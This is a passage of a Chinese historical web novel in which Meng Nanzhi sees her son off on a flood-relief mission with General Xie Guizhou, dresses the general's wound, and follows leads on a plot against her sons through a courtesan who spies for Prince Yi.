所以他才会当着那么多人的面说心悦于孟南枝,只为给孟太傅面子。
毕竟若是孟太傅升了右相,却有一个被和离的女儿,名声不好听。
思至此,沈卿知重重地看了眼孟南枝。
看她眉目清亮,面容艳丽,一如十年前的模样,心中不禁百转千回。
他稳定情绪,又对谢归舟躬了躬身子道:“将军,本侯今日来,是因犬子要随太子同行赈灾一事,本侯特地准备了两万两银票,给犬子在路上使用。”
说罢,他从怀中掏出银票给沈砚修递过去。
林婉柔双目狰狞,几欲开口,却被女儿陆筝筝压了下去。
那银票是父亲前日给她送到侯府的,沈卿知明明说他要拿银票去打点女儿入沈家族谱一事。
可眼下,那银票却被他转手送到了别人的孩子手里。
这恕她完全忍不了!
可有谢归舟在眼前,她却只能生生忍着。
沈砚修不想接,若是以前,他身在侯府,接也就接了。
可现在他怕拿了父亲的东西后,会被他换回可能不该属于他的东西。
而且父亲自进来时,还在母亲面前说他不该拿那么多银票。
沈卿知见长子不接银票,一时尴尬,又陪笑着往他怀里放了放,“你看你这孩子,这是为父的一点心意,你这一路若是遇到个什么事,也能用银子打点一下是不是?”
他既然来了,又知道了谢归舟为什么说心悦于孟南枝的秘密。
当然不能无功而返,自然是要让谢归舟知道他这个父亲是关爱孩子的。
孟南枝知道长子的顾虑,对沈砚修微微颔首道:“修儿,接着吧,别把你父亲的‘心意’给辜负了。”
不管怎么说沈卿知都是孩子的生父,孩子随太子出行,他理该出钱出力才对。
他出的人孟南枝不敢用,但出的银票孟南枝却是敢用的。
沈砚修见母亲点头,这才缓缓伸手将那银票接了过来,只是神色间并无多少欣喜,反而多了几分疏离和淡漠。
他抬头看向沈卿知,声音平静无波道:“多谢父亲。”
沈卿知见长子接了银票,心中稍安,正欲再开口说些别的,却听一旁的次子沈砚珩道:“父亲,您都很久没有给我钱花了。”
沈卿知闻言面色稍黑,从怀里摸了摸,空空如也。
垂眉瞟了眼谢归舟,见他面色如常,只得尴尬地笑道:“珩儿,为父今日并未带太多银票,不若下次再给你送来。”
正好也可以用这个借口,多来孟府。
沈砚珩撇嘴,他又不是真的想要,只是看林婉柔即狰狞又痛苦的表情很好玩。
沈卿知见他没再多问,心中总算松了口气。
他转头看向谢归舟,赔着笑道:“将军,犬子此行还望将军多多照拂。”
谢归舟淡淡地瞥了他一眼,声音冷淡道:“镇北侯放心,本将职责所在,自会护他周全。”
顿了顿,他又道:“镇北侯若无其他事,还是快请回吧。本将从宫中回事时,见到你的同僚都去了衙署,想是尚书有事交代。”
沈卿知闻言面色一僵,连忙躬身告辞,疾步
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地往外赶。
他位职不高,又在礼部,一时心急出来,倒真没想到这赈灾跟他能有什么关系。
沈卿知走了,林婉柔和陆筝筝自然也不会在孟府久留,跟着也出了府。
谢归舟这才转身看向孟南枝,面上带了几分自责,“给你添麻烦了。”
是他太过心急,总觉得她会被别人抢走。
这才想宣告于天下,他心悦于她。
孟南枝摇头浅笑,“还要多谢将军解围。”
两人没有过多客套,谢归舟看了眼厅内摆放的东西,对沈砚修温声道:“可准备齐了?”
沈砚修连忙拱手道:“回将军,已经准备齐了。”
赈灾一事,因母亲的提前安排,早已准备得妥当。
谢归舟点头,见孟南枝没有主动同他说话的意思,便再次开口道:“再检查一下,一个时辰后,重华门集合。”
沈砚修郑重应道:“是,将军。”
只是抬头时,却见谢归舟面色有些不对,连忙关切问道:“将军,您怎么了?”
谢归舟眉头拧成“川”字,按着右肩发出一声痛苦的难忍,摇了摇头,道:“无碍。”
“将军,您是不是受伤了?”沈砚修到底是在军营待过一段时间,很快就看出异常。
孟南枝顺着长子的目光望去,谢归舟所按的位置,不正是昨日自己才为他包扎的位置吗?
想他连过敏都能忍得,现在表情却这么痛苦,怕是伤口发炎又严重了吧。
想至此,孟南枝连忙对次子沈砚珩道:“珩儿,你快去请太医过来。”
沈砚珩闻言不敢耽搁,立马就撑伞出了府。
孟南枝又嘱咐胡姨娘,让她带着丫鬟婆子把长子出行要带的东西都再检查一遍。
这才上前两步,与长子沈砚修一同扶着谢归舟坐下。
语气中带了几分自己都没注意到的责备,“将军,你这伤口莫不是又裂开了?昨儿个才刚包扎好,怎的如此不小心。你先坐好别乱动,等太医来了瞧瞧再说。”
谢归舟目光落在她握着自己腕间的玉手,感受她言语间的焦急与关切,低垂的眉目间隐藏着不便道明的欢喜:“都听你的。”
第107章 将军刚刚说了什么?
谢归舟如此顺从的语气,听得孟南枝微微一愣。
但她很快回过神来,清澈的眸子闪了闪,垂眉嘱咐长子沈砚修把谢归舟的袖口解开。
绯色朝服被雨水打湿带着潮气,伤口渗出的血液混着雨水,晕满了整个绷带。
孟南枝见状心头一紧,转头对沈砚修道:“修儿,你去医箱拿过来,我先给将军简单处理一下。”
沈砚修应了一声,连忙去取东西。
谢归舟却是阻止道:“无妨,只是裂开了一点,等太医来了处理便是。”
孟南枝抬眉轻睨了他一眼,“将军刚刚说了什么?”
谢归舟突然静默,唇角虽未有任何变化,但那冷冽的眉目却是瞬间变得柔和,“都听你的。”
没去看他的视线,孟南枝垂眉小心翼翼地解开绷带,露出那道触目惊心的伤口。
已经拿着医箱过来的沈砚修见状,倒吸一口凉气,连忙打开取出软纱、烈酒和伤药。
孟南枝接过软纱沾了烈酒,蹙眉替谢归舟轻轻擦拭着伤口周围的血迹。
沈砚修在旁边不忍道:“将军怎么伤得这么严重?这是箭伤吧?”
谢归舟收起放在孟南枝身上的眷恋,温声道:“是箭伤。”
多余之言并未多说。
孟南枝顺着话题,轻声道:“将军身体安健与否,关乎百姓和大衍安危。还是要按时换药,早些把伤养好为好,莫要落下病根。”
谢归舟感受她指尖的轻柔与温暖,并不反驳她的话,“南枝说的是。”
三人说话间,孟南枝已经将伤口周围的血迹擦拭干净,正好赶上沈砚珩把太医寻来。
两人的衣服均被雨水打湿,尤其是洪太医,额间全是雨水。
他刚从太子府为太子侧妃诊脉出来,正准备回家夺清闲呢,哪想就被沈砚珩抓了来。
见谢归舟坐在正堂,洪太医顾不得去擦拭滴到眼睛的雨水,忙同三人见礼,“微臣见过将军,孟姑娘,沈世子。”
谢归舟微微颔首,道:“起吧。”
见将军伤势严重,洪太医收起了一贯嬉皮笑脸的神情,手法娴熟地将伤口处的残余血迹清理干净,又仔细上了止血药。
直到包扎完毕,洪太医才直起身,对谢归舟恭敬道:“将军,您的伤势不容乐观,这几日切记不可再用力,以免伤口再次裂开。”
考虑到将军要跟太子出行,便又接着道:“微臣会再开些内服之药,还请将军务必按时服用,注意休养。”
谢归舟点头,似想起什么,又重重地看了他一眼,“本将记得赈灾随行的名单里有洪太医,洪太医这是还未开始准备?”
洪太医慌忙躬身道:“回将军,太子殿下考虑到微臣近日一直在为太子侧妃诊脉,特地免去了微臣的名单。”
他若知道屠戎将军在这里,怎么也不会跟着沈砚珩来的。
还以为只是单纯地为孟姑娘看个诊。
谢归舟闻言微微颔首,却并未再多言。
洪太医见他没有继续追问,暗自松了口气,又向孟南枝和沈砚修行了一礼,道:“孟姑娘,沈世子,若没有其他吩咐,微臣就先告退了。”
待洪太医走后,谢归舟起也了身道:“时辰差不多了,我去换身衣服,砚修你随我一同去重华门吧。”
沈砚修连忙应道:“是,将军。”
谢归舟目光落在孟南枝身上,手指紧握,喉间滚了几滚,最终也只是轻声道:“放心,我会照顾好沈世子。”
说罢,不待孟南枝答话,他便转身离去。
孟南枝望了眼他的背影,来不及多想,转头对沈砚修嘱咐道:
“修儿,到了灾区,定会出现许多流匪,母亲是希望你能有所成长和建树,但更希望你能平安。若真遇见贼寇,宁可把粮物舍了,也要记得保命。”
沈砚修眼眶微微泛红,郑重地点头道:“母亲放心,修儿定会谨记母亲教诲,以自身安危为重。”
他知道,母亲心里对他的安危最看重。
但他更不想不辜负母亲和外祖父的期望。
此行,他定是要跟着太子好好做事,干出些实事来的。
孟南枝轻拍了拍沈砚修的肩膀,眼中满是慈爱与担忧,“母亲知你想成事,但修儿,你要始终牢记一句话,在母亲眼里,你们兄妹三人的命,比什么都重要。”
沈砚修眼中噙了泪,再次点头,“母亲,修儿知晓了,您在家也要多保重身体,莫要太过操劳。”
胡姨娘擦了擦眼泪,从怀里
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掏出一封信递给沈砚修道:“修儿,这是你外祖父此前委托我交给你的。他与山城都督有旧,若是遇见了特殊情况,可单独向他求救。”
沈砚修接过信郑重地收进怀里,“谢谢外祖父,谢谢祖姨母。”
胡姨娘叹道:“自家人,客气什么。我是拦不了你出去,但修儿,你出门在外一定多留个心眼,遇事多向将军请教。听你母亲的没错,命,比什么都重要。”
沈砚修重重地点头,“我记下了。”
言罢,他转身对沈砚珩道:“珩儿,母亲交给你了,好好照顾她。”
沈砚珩同样郑重点头道:“哥,放心吧,我会照顾好母亲的。”
雨依旧未停,似墨一般从天上斜泼下来。
为了不耽搁时间,孟南枝不再多言,几人将沈砚修送至门外,嘱咐他赶紧上马。
沈砚修身穿蓑衣,跃上马背,雨水打湿了帽檐,落在他攥着缰绳的手背上,被雨水浸白的手指骨节分明。
他紧抿着唇,目光落在母亲、珩弟、胡姨娘,还有孟府上下,最后又落回母亲孟南枝身上。
再一次点头道:“母亲、祖姨母请放心,我定会谨言慎行,护好自身,你们也在家中保重身体,等我平安归来。”
几人皆重重地点头。
已经换成一身戎装的谢归舟骑在马背上,脊背挺得笔直,铠甲在昏暗的烛光中泛着冷硬的光。
他就那么静立在孟府门前,缰绳松松拢在手里,目光透过雨幕落在正与长子告别的孟南枝身上。
温柔,黏湿。
他也很想听她对他细语深言,关怀倍切。
垂眉扫视了眼自己的右臂,他唇角弯了弯。
如此,已经知足了。
沈砚修又与母亲等人说了几句,终是狠下心,双腿一夹马腹,朝着重华门的方向奔去。
马蹄溅起大片的水花,他与谢归舟很快便消失在雨幕之中。
身后似乎传来母亲的呼喊,他却没敢回头。
他怕自己一回头就舍不得走。
他长大了,不该躲在母亲的羽翼下。
如今的母亲需要他的保护,而他还太弱了。
他悔这些年只贪图享乐,行事毫无见长,才让母亲回来后还要为他担忧布局。
第108章 走,咱送送你哥
孟南枝望着沈砚修与谢归舟远去的背影,久久没有收回视线。
虽说此事是她谋划的,但真等长子走了,她却完全无法平复心情。
直到胡姨娘轻轻扯了扯她的衣袖,孟南枝才回过神来。
“南枝,回去吧,你也累一晚了。修儿吉人自有天相,又有屠戎将军保护,一定会平安归来的。”胡姨娘轻声安慰道
孟南枝点了点头,强压下心中的担忧,转身与胡姨娘、沈砚珩一同回了府。
待嘱咐胡姨娘先去休息后,孟南枝抬头看向次子沈砚珩饱含清明和期待的双眼,温笑道:“珩儿困吗?要不要先去休息一下?”
沈砚珩摇头,“母亲,我不困的,您去歇息吧。”
他昨日在家睡了大半天,晚上又睡了会儿,现在毫无困意。
孟南枝看了眼窗外未停的雨,“你既不困,不若随母亲一起出门看看你昨日画的图纸是否准确吧?”
沈砚珩低垂的眼睛里闪过惊喜,却又连忙摇了摇头道:“母亲,今日雨下太大了,您昨夜又没休息好,您还是先去休息一下吧,我们明日再去也可以的。”
他是迫切地想让母亲陪他去,可眼下还是让母亲好好休息得好。
孟南枝笑道:“母亲眼下并无睡意,我们坐马车去,这雨不算什么的。再说,也正好路上转一圈,送送你哥。”
她昨日答应了次子,说今日要陪他一起看图纸的。
别说是下大雨,哪怕今日是下冰雹,她也应兑现诺言。
沈砚珩还是想再次确认,“母亲,您真不困?”
孟南枝好笑地点头,“母亲是真不困。”
“那我叫上江鱼,咱们三个一起去吧?”沈砚珩眉眼微弯,可以看出心情很好。
“好。”
眼下管家还未与她说道适合江鱼的活计,既然次子这么喜欢带着他。
孟南枝觉得,她可以尝试着和这个少年多接触一下,好了解他到底是个什么样的人。
三人很快准备妥当,同坐一辆马车出了孟府。
因下着大雨,街上空荡荡的并没有什么人。
车轮碾过青石板路,发出“卟叽卟叽”的声响,偶尔碾过深水处,溅起的水花足有一丈高。
三人未去重华门,那里是行军禁地,外人不得入内。
所以三人就没冒那险,就在城门口附近等着。
约莫等了半个多时辰后,谢归舟带着三百名军中精卫,护着二十辆装满粟米、药材的粮车行至城门。
太子萧明渊坐在特制的马车内,被精卫护在中央。
长子沈砚修就跟随在太子马车的身后,骑马而行。
敏锐地察觉到有人观看,谢归舟抬眉扫视过去,但见是孟府的马车后,手指蜷了蜷,并未做停留。
直到彻底看不到长子的背影,孟南枝才收回视线,稳定心神,对次子沈砚珩说道:“走吧,我们去转转。”
兄长离开,沈砚珩情绪也不是太高兴。
但提及观看自己所画图纸是否准确时,沈砚珩的心情明显很亢奋。
他不时地和孟南枝讲解,路上的店铺原来是做什么的,现在又是做什么的。
在次子的衬托下,江鱼的性格倒是显得稳重些。
他安静地坐在沈砚珩的身侧,不管是沈砚珩说的对与错,他都有礼的附和,完全看不出与巨幕中弑杀的特性。
孟南枝想了想,问道:“江鱼,你来京都多久了?”
正在倾听沈砚珩说话的江鱼,闻言微愣。
面对孟南枝的询问,他下意识地坐直了身子,“回夫人,我来京都七个月了。”
很有规矩,也很有礼节。
孟南枝暗自颔首,又笑问道:“七个月,出来的时间不算短了。我听珩儿说,你家里是梢城的,你不想父母吗?”
梢城,在大衍的最南边,是晋王的封地。
江鱼的表情有一瞬间的僵硬,又很快反应过来,垂眉道:“我与父亲起了争执,这才来到京都。他不会想我,我也不想回去。”
声音低沉,听不出多余的情绪。
同病相怜的沈砚珩不想自己
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的好友难堪,但也不想自己母亲难做,便小心翼翼地岔开话题道:“母亲,您看我们现在走的这条路,跟图纸对不对?”
孟南枝深深地看了江鱼一眼,没再多问。
把图纸摊开,看了眼车外的店铺,孟南枝对上图纸的路线,轻笑道:“是对的,我们去下一条路。”
三人又逛了一条路后,孟南枝把图纸摊到次子面前,不解问道:“珩儿,为什么刚才那条路你画的图线长,走的时间短,这条路画的图线短,走的时间却长?”
沈砚珩接过图纸,仔细地看了几眼,挫败道:“母亲,我……这份图纸我没画好,等我回府再重新给你画一副。”
他垂下头,声音满是懊恼。
他在画图的时候完全没有注意比例问题。
孟南枝去有过多的规劝和指正他的错误,而是温和笑道:“母亲觉得这副就挺好的,这可是珩儿第一次画的图纸呢,有不足才说明有进步的空间。”
沈砚珩听着母亲的话,心里的懊恼渐渐散去。
再抬头时,眼里全是明媚的光芒,“母亲我们再转转,看看哪里还有问题。”
孟南枝笑着点头,抬眸看了下车外,低头对应图纸所画图线看去。
当她看到图纸上的其中一条小巷后,又突然抬眼看了下车外,“等一等。”
马车停下,车外是一家客栈,被雨水漂白的门牌上刻着“如云客栈”四字。
如云客栈,便是那日被府尹请上公堂的掌柜带着店小二,诉说“铁柱”与“麻子”所住的客栈。
孟南枝指着图纸上,当前位置后面的其中一条小巷,道:“珩儿,这条路通到哪里?”
沈砚珩看了一眼,语气有些不自然,低声道:“母亲,这是醉香阁后面那条小路。”
醉香阁?
联想诱骗次子去风月场所和赌坊的“瘦猴”和“胖子”,以及那夜大雨他们撞见的画面。
孟南枝蹙眉,这两条路离得这么近吗?
便是冷声说道:“走,过去看看。”
第109章 奴家还以为看错人了
“母亲,我都不去醉香阁了。”
沈砚珩有些紧张,他以为母亲还计较着他去风月场所一事,说起话来底气不足。
孟南枝好笑地看了他一眼,“母亲知道,你带我去那条小巷看看。”
“好。”沈砚珩松了口气。
雨势渐小,淅淅沥沥。
马车碾过泥水,绕过“如云客栈”直接到了小巷。
巷口太小,马车进不去,他们三人便下了马车撑着伞往里走。
小巷狭窄幽深,地面全是泥水,散发着潮湿的气味。
沈砚珩盯着母亲沾了泥水的鞋面,怕她滑倒,便跟在她身侧扶着她,“母亲,这路不太好走,若不等天好些再过来看吧。”
孟南枝抬头看了眼幽深的巷子,抿唇笑道:“不妨事,既然来了,便进去看看吧。”
沈砚珩知道母亲应是查探“瘦猴”背后之人,便未再继续劝阻,只是手上加了点力气,把母亲扶得更稳了些。
三人到了“醉香阁”对应的楼下时,便听见隐隐约约的喧闹声。
丝竹管弦之乐夹杂着男男女女的调笑,在这潮湿的雨天里显得格外旖旎。
孟南枝蹙眉又往前走了一小段,沿路干净,倒也没有什么特殊的地方。
正考虑退回去时,江鱼的耳朵动了动,低声道:“前面有人。”
孟南枝顺着他的目光望去,大概二三丈远的位置,又出现一个更小的巷口。
三人互视一眼,蹑手蹑脚地走过去。
还未走近,便听到一阵刻意压低的责斥声,有些耳熟。
“你到底是怎么办事的?三番五次的失手,再有下次,你命也别要了!”
“不是属下办事不利,而是那沈家那两位公子近日……”
孟南枝闻言色变,这人竟然在谋划她的孩子。
还欲走近再听他们细说之时,只听身后传来一声娇滴滴的声音,“侯夫人,珩公子。”
正在偷偷说话的两人瞬间禁了声,发出细碎的跑步声。
江鱼连忙急步跃过去,吼道:“站住!”
待孟南枝跑到巷口时,就连江鱼都没了人影,只有次子沈砚珩跟在后面追。
孟南枝蹙眉回头看向刚刚叫她的声源。
“醉香阁”的二楼,打扮的花枝招展的芙蓉姑娘,正娇滴滴地拿着团扇笑盈盈地看着她,“侯夫人,真是您呀?奴家还以为看错人了呢?”
雨还在淅淅沥沥地下着,孟南枝一直撑着伞,她没明白芙蓉怎么能透过伞顶一眼就看穿是她。
除非她下马车时,芙蓉便看见了她。
不动声色地一直观察她,直到她差点撞上准备陷害她孩子的人。
思此,孟南枝心中一凛,面上却如常淡笑道:“芙蓉姑娘好眼力,这般雨天,也能认出我来。”
芙蓉以团扇掩面笑道:“夫人在伞下遮得严实,奴家哪里是能一眼认出,还是看珩公子待您那般恭敬亲昵,这才觉得应是您。”
说到此处,她又往远方眺望了一眼,惊异道:“珩公子是干什么去了?怎么能不管您了呢?天寒地潮的,夫人不若上来喝杯茶,也好暖下身子。”
孟南枝听她如此诉说,有些不确定她刚才叫住她到底是故意还是无意。
扭头看了眼次子和江鱼离开的方向,孟南枝点头道:“既然芙蓉姑娘如此盛情邀约,那便叨扰了。”
芙蓉闻言眸色微怔,还带了丝讶然,不过她却又瞬间收起团扇,面上带着笑意正色道:“那奴家去正门接夫人您。”
她只是随口一说,倒是没想到孟南枝竟然真的受了她的邀。
毕竟她身为风月场合之人,京中妇人一向看不起她们的身份。
孟南枝从小巷口出来时,正巧碰到次子沈砚珩从远处拐回来。
“母亲,我没追上。”沈砚珩眉头紧皱,表情并不好看。
碰巧撞上想害他和兄长的贼人,竟然还被他追丢了。
孟南枝点头,看了眼他身后,“江鱼呢?”
沈砚珩回道:“他追着人跑了。”
眼下他也寄希望于江鱼能够追上人。
说罢,沈砚珩抬眼看了下“醉香阁”的方向,“母亲,刚才那个人是醉香阁的人?”
当时只顾追人,他并未回头看,但也知道是个娇滴滴的女声。
还有些熟悉,只是没有印象是谁。
孟南枝点头,“是,
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跟我一起去看看吧。”
两人到了“醉香阁”时,芙蓉姑娘已经下了楼,在大门前候着,亲自迎着他们往二楼的雅间走。
因有芙蓉带着,老鸨见孟南枝,笑着弯了弯身子,倒没多和她拉家常。
厅内和上次一样,稀稀落落地坐着几位文人墨客。
隐隐约约还可以听到他们在讨论今日承天钟敲响一事。
有人说可能是北戎来犯,也有人说可能是圣上疾病。
明显半懂不懂,还想装懂。
但凡他们出去看看,也能知道太子已经带队出行赈灾一事。
到了雅间,芙蓉请孟南枝和沈砚珩坐下,亲自为他们斟了茶,“这是最新的龙井,不知是否能入了夫人和珩公子的口味。”
孟南枝未动,沈砚珩看着芙蓉皱眉道:“你刚才为何要唤我和母亲?你可知坏了我们的大事!”
芙蓉一双凤眼柔中带媚道:“珩公子您这便是冤枉奴家了。奴家刚推开窗看到你们在巷子里行得缓慢,还以为你们是迷了路,这才唤了你们一声,怎么就叫坏了你们的大事呢?”
说到此处,她似委屈了般又说道:“不过,若真是因为奴家唤你们坏了事,奴家向你们赔罪便是。”
沈砚珩觉得她没说实话,还想再继续质问几句。
孟南枝轻轻拉了拉他的衣袖,示意他先不要冲动。
不过她倒也从次子对芙蓉的态度上,确认他上次在“醉香阁”确实是醉得不清。
毕竟在巨幕当中,次子对于芙蓉姑娘可是相当依恋的。
眼下,明显是对芙蓉陌生的的紧,还多了些不满。
思此,孟南枝抬眉笑看向芙蓉,轻声道:“芙蓉姑娘言重了,既是误会,说开便是。只是我们刚才在巷子里确实遇到两个贼人,不知道芙蓉是否有看见?”
孟南枝深知芙蓉的背后是奕王,明面上是“醉香阁”的花魁,实际上却是为奕王专门收集各种情报的线人。
她上来只是想看一下芙蓉的态度,看她是护着刚才那两人,还是揭穿那两人。
自然也就从芙蓉的态度上,推断一下那两人背后所站的,到底是哪方的牛鬼蛇神。
第110章 该更进一步发展了
芙蓉对上孟南枝坦荡又锐利的眼神,眸色微暗。
她本想用迂回的说法,却未曾料到孟南枝会问得如此直白。
她垂下头,继续手上斟茶的动作,直到将两只茶盏稳稳放置在两人面前。
芙蓉才缓缓放下茶壶,起身走到窗台前站下,道:“夫人,您看,奴家在这个位置只能看到你们三个,真看不到还有其他人。”
孟南枝和沈砚珩互视一眼,同时起身缓步走到窗台前,隔空朝下看过去。
巷口本就狭窄,站在高处时,确实只能看到一条窄窄的泥泞小道。
顺着这条小道往前伸延,不过几丈远便被拐角挡住,另外一条与之交叉的小巷彻底藏在视野盲区。
自然也不可能看到,刚才那条小巷里所藏身的人影。
既然是真的看不到,孟南枝便没有在此事上过多纠结,反问起另一件事,“不知道芙蓉姑娘可还曾记得我上次来寻珩儿一事?”
芙蓉笑着点头,“自是记得的,那日同今日一般下着大雨,夫人那次过来可真是心疼极了珩公子。”
她那时还真没想到眼前如此年轻的女子,竟然会是珩公子的母亲,镇北侯的溺水亡妻。
眼下更是成了右相唯一子嗣,屠戎将军的心悦之人。
如此多重身份叠加,这一生好命的,还真是让人羡慕。
甚至于,嫉妒。
孟南枝微微颔首,继续道:“那日我们离开后,不知道芙蓉姑娘可有再见到带珩儿来的那两人?又或者有没有见到过其他异常?”
芙蓉浅笑,摇了摇团扇,拽着上面的金穗,万种风情道:“奴家每日要见那么多人,这一时还真不一定能想起来。”
孟南枝盯着她手上的动作,笑了笑,从怀中掏出一叠银票递过去,“若芙蓉姑娘知道些什么,不妨告知。”
别人开门做生意,她占了这雅间的位置,是不好让人空开张。
芙蓉凤眼微亮,假意地从中间抽取一张,又把剩下的给她退还了回去,“夫人既然开口问了,奴家自是知无不言,怎好拿夫人的银钱。”
将那张银票收进怀里,芙蓉放下团扇,净了手,开始给她细致地削苹果,“夫人那日走后,奴家没见着跟珩公子来的那两个人,便从窗台往下瞧了瞧,巷子里空荡荡的什么也没有。”
孟南枝吃了口苹果,到底是花了钱的,脆甜。
给次子递过去两块后,嘱咐芙蓉接着说。
“那日雨太大,奴家也没想着真能看见什么。不过奴家到夜里的时候,倒是看到巷口有辆马车过去,那马车上什么标记也没有。”
芙蓉姑娘很会讲故事,说起话来大喘气。
沈砚珩见她说说拐拐就有些烦了,便见母亲一直安静听着,才强迫自己稳住不催她讲重点。
芙蓉一边切水果,一边接着说:“虽然那马车上什么标记也没有,但奴家对那驾车的马夫还是有些印象的。”
孟南枝停下了吃苹果的动作,拿布巾净了手,“确定吗?你琮记得那马夫长什么样?”
那日壮个男人“胖头”并没有说出还有马夫一事。
芙蓉笑道:“奴家没什么大的本事,但对于记人脸,倒还算是有些强的。”
孟南枝点头,又掏出两张银票递过去,“那还请芙蓉姑娘把那马夫的人脸画一下吧。”
芙蓉凤眼微眯,指尖一抬,便轻巧地接过银票塞入怀里。
拿了银票,芙蓉办事速度倒也很快,从桌案上提笔沾了墨,寥寥几笔便勾出了马夫的轮廓。
孟南枝俯身端详,指腹轻轻摩挲着纸面边缘。
片刻后,孟南枝突地低笑一声,嘱咐次子沈砚珩先好好收起来。
“如此,便谢过芙蓉姑娘了。”
芙蓉客气地笑道:“夫人哪里话,能帮上夫人和珩公子,是奴家的荣幸。”
虽未从她口里得到刚才那两人的信息,但能得知主事人马夫信息已经是很大收获。
孟南枝未再多留,带着沈砚珩便出了“醉香阁”。
待她远去后,芙蓉转身推开隔壁的房门,并悄悄合上,隔着屏风恭敬地行礼道:“主子,她走了。”
屏风内,香气缥缈,软榻上半倚着身穿黑色**纹锦衣的男子,正是奕王萧临渊。
他半眯着眼,手中正把玩着一串翡
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翠吊珠,闻言几不可查地抬了抬眸子,语气低沉道:“可都与她说了?”
芙蓉垂眉道:“都按照主子的交代说了。”
……
镇北侯府。
林婉柔直到用了午膳,左脸还是火辣辣地疼。
陆筝筝安排厨房煮了半锅鸡蛋,给她消肿都未能消下去,不免担心地再次规劝道:“母亲,还是让太医来看看吧。”
“不看。”林婉柔气得把鸡蛋拨扔到地上,“你要让我说多少遍不看?让太医来看什么?看我林婉柔的笑话,嘲笑我林婉柔不如她孟南枝,还被她打吗?”
两句话还没说完,她又捂住了肚子。
岔气了。
孟南枝不仅扇了她的脸。
孟南枝的两个儿子今日还都踹了她。
自从出了陆家,她林婉柔何时还曾受过这种委屈。
最关键的是,沈卿知竟然不信她,还怀疑她得了癔症。
当真是好笑之极。
林婉柔的神情太过狰狞,陆筝筝下意识的脚步往后退了两下。
但怕被母亲发现,她又连忙上前半蹲下来替林婉柔轻揉腹部,怯生生地道:
“母亲,蒙上面纱,可以让太医先为您看诊下腹部,筝筝心疼您,怕您疼着难受。”
陆筝筝的贴心让林婉柔缓了缓神,她盯着面前如花似玉般娇滴滴的女儿,眸子里各种情绪闪过,最终还是换作温柔。
林婉柔抬手摸了摸了陆筝筝的乌发,忽略掉她睫毛的轻颤,握住她的小手柔声道:
“筝筝,你南姨的父亲现在成了右相,官职比你外祖父要高,侯爷肯定会舍不得这个得力的前岳丈。”
“你看他今日,把本来准备用给你上沈家族谱的银钱,都送给沈砚修了,你觉得他以后对你上沈家族谱一事还能上心吗?”
“你若上不了沈家族谱,又如何能在以后安身立足?”
陆筝筝的表情有些无措,她抬起眸子看向对她表现疼爱的母亲,双目晶莹道:“母亲,您说筝筝该怎么办得好?”
林婉柔拿起帕子替她擦了擦脸,声音比眉目还要更加柔和,“该和奕王更进一步发展了。”
第111章 暂住官署
孟南枝和次子沈砚珩从聚香阁出来,并未直接回府。
因为担心江鱼有危险,便沿着刚才贼人逃跑的路线去寻他。
雨势渐小,再加上山城九曲河决堤之事已经传开,街市上涌出了很多人,得了早信的百姓开始抢买粮食。
两人穿过人群,寻了半个多时辰,终于在一个比刚才还要狭窄的巷子里,寻到了倒在地上晕迷不醒的江鱼。
小小的少年躺在带水的泥坑里,衣服上满是泥泞,脸上还带着伤。
在孟南枝的帮助下,沈砚珩勉强才把比他重的江鱼背起来,送到医馆。
经坐堂大夫看诊,后脑被重物击伤。
好在并无大碍,只需静养数日便可痊愈。
孟南枝看着躺在床榻上昏迷不醒的江鱼,心中五味杂陈。
她一直防着江鱼,没想到他却因为他们的事受了伤。
沈砚珩替江鱼盖了件薄褥,“母亲,您别太担心,江鱼练过武的,他身子好,很快就会醒的。”
少年明明担心的眼圈泛红,却还学会了反过来安慰她。
孟南枝微微颔首,道:“你也别太担心,我安排人过来照顾他。”
沈砚珩点头应下,顿了顿才又道:“母亲,芙蓉说的那名马夫,是真的吗?”
他这些时日被人骗怕了,觉得芙蓉所说不一定是真的。
而且那么晚,又下着大雨,“胖头”在地上都没看清,她站在楼上是怎么看清的?
“半真半假吧。”孟南枝回应。
芙蓉应该是看到马车了,但马夫是不是画上的那个人,还有待定论。
毕竟画上的那名马夫她认识,是太子府的人。
看来此次圣上安排太子出行赈灾,让萧临渊坐不住了。
思此,孟南枝对沈砚珩道:“珩儿,把画像给我,这件事你不用操心了,母亲自有安排。”
次子还是太过年幼,孟南枝不想他现在就卷入到这种是非来。
沈砚珩没有多想,从怀中取出画像便递了过去。
孟南枝接过后,嘱咐他好好照看江鱼,便先行回了孟府。
到了孟府,孟南枝寻到刘嬷嬷,让她安排了两个得力的奴仆去专门照顾江鱼。
这才抽出空来小歇一下。
临到晚宴时,次子沈砚珩未回来,倒是忙碌一日的孟正德终于回了府。
孟正德还穿着早上离开的那身绯色朝服,衣服略潮,眉目间带着几分疲惫。
胡姨娘服侍着他换上常服,用热水净了面,他才精神抖擞地走到正堂坐下。
见孟南枝眼下有些黑影,孟正德笑道:“怎么?修儿出行让你睡不着了?要不要我把他支回来?”
孟南枝为他斟了热茶,娇嗔道:“父亲惯会取笑女儿,女儿是担心父亲太过辛劳,这才睡不着。”
虽然知道女儿在哄他,但孟正德却很受用,眸中满是欣慰道:“为父倒不辛劳,辛苦你们在家惦记。”
环顾一周未曾看到次外孙,疑惑问道:“珩儿呢?”
孟南枝将沏好的茶盏递给他,“在医馆照看江鱼呢,估计等会儿就回来了。”
“江鱼?”
孟正德接过茶盏的手一顿,“是谁?”
江姓并不少见,只是一提到,他便会想起亡妻。
“珩儿的朋友。”
孟南枝倒是忘了,父亲这些时日早出晚归,没有与她碰过几面,自然也不识得江鱼。
便和他解释江鱼的来历,连带着把今日所发生的事,也全都未加个人想法一五一十地叙述给他。
孟正德听完后,抿了口茶,看着孟南枝道:“需要为父帮忙吗?”
他对女儿的教育一直是半撒手的状态,所以造就了她好强独立的性格。
这些时日,他也一直有反思,是不是自己的教育出了问题。
导致女儿不仅和离,连再婚的想法都没有了。
孟南枝为他添了茶,笑着摇头道:“不用了,父亲,女儿可以解决。”
父亲刚回朝,还在九曲河决堤这个节骨眼上。
这点小事,没必要让他跟着操劳。
见女儿明确拒绝,孟正德也不强求,只是想到江鱼时,又蹙了蹙眉,“你刚说那个江鱼,家在哪里?”
“梢城。”孟南枝接过父亲手里的空盏,随口应道。
孟正德闻言没再多问,只是简单地嘱咐道:“既然是因为咱孟府受的伤,便将人接回府上住吧,也
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算妥帖安全。”
父亲说得在理,孟南枝便点头应下。
自女儿回来后,家里人口明显增多。
孟正德想到女儿平常一向花销比较高,又问道:“你银钱够用吗?为父现在重新回朝,俸禄较高,每月可以多给你拨一些。”
孟南枝看了眼胡姨娘,父亲好像是真不知道胡姨娘很有钱,还给了她很多。
